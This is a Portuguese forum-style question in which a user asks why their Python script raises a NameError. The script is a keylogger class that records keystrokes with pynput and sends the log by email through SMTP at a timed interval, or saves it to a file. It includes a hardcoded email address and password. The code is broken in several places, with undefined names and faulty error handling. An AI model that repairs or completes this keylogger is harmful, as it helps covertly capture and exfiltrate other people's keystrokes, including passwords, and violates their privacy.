Recebi este nameError após if name == 'main': insinuando que a variável report_at não está definida, mas que na verdade ela está através do parametro interval
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from threading import Timer
import smtplib
import pynput
class Catcher:
    email_addr = 'agwrodrigues@gmail.com'
    senha = '123456'
    report_at = 60
    def __init__(self, interval, modo='email'):
        self.interval = interval
        self.modo = modo
        self.log = ''
        self.startdate = datetime.now()
        self.endate = datetime.now()
    def on_press(self, key, event):
        name = event.name
        if len(name) >= 1:
            try:
                print('alphanumeric key {0} pressed'.format(key.char))
            except AttributeError:
                print('special key {0} pressed'.format(key))
            while True:
                with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
                    listener.join()
        self.log += name
    def on_release(self, key, event):
        if name != key.char or {0}.format(key):
            print('{0} released'.format(key))
        if key == keyboard.Key.enter:
            return False
        self.log += name
    def up_to_date(self):
        startdate_from = str(self.startdate).replace(' ', '-').replace(':', '')
        endate_to = str(self.endate).replace(' ', '-').replace(':','')
        self.filename = f'Keylogs-{startdate_from}_{endate_to}'
    def report_to(self):
        with open(f'{self.filename}.txt', 'w') as f:
            print(self.log, file=f)
        print(f'[+] Saved {self.filename}.txt')
    def packing(self, message):
        msg['from'] = MIMEMultipart('alternative')
        msg['to'] = email_addr
        msg['subject'] = email_addr
        html = f'<p>{message}</p>'
        content = MIMEText(message, 'plain')
        source = MIMEText(html, 'html')
        msg.attach(content)
        msg.attach(source)
        return msg.as_string()
    def sendmail(self, email, password, message, verbose=1):
        try:
            server = smtplib.SMTP(host='smtp.protonmail.ch', port=1025)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, self.packing(message))
        except Exception as e:
            server.quit()
            if verbose:
                print(f'{datetime.now()} - sent email to {email} containing {message}')
    def report(self):
        if self.log:
            self.endate = datetime.now()
            self.up_to_date()
            if self.modo == 'email':
                self.sendmail(email_addr, senha, self.log)
            elif self.modo == 'file':
                self.report_to()
            print(f'[{sel.filename}] {self.log}')
            self.startdate = datetime.now()
        self.log = ''
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()
    def start(self):
        self.startdate = datetime.now()
        self.report()
if __name__ == '__main__':
    catcher = Catcher(interval=report_at, modo='email')
        
        
            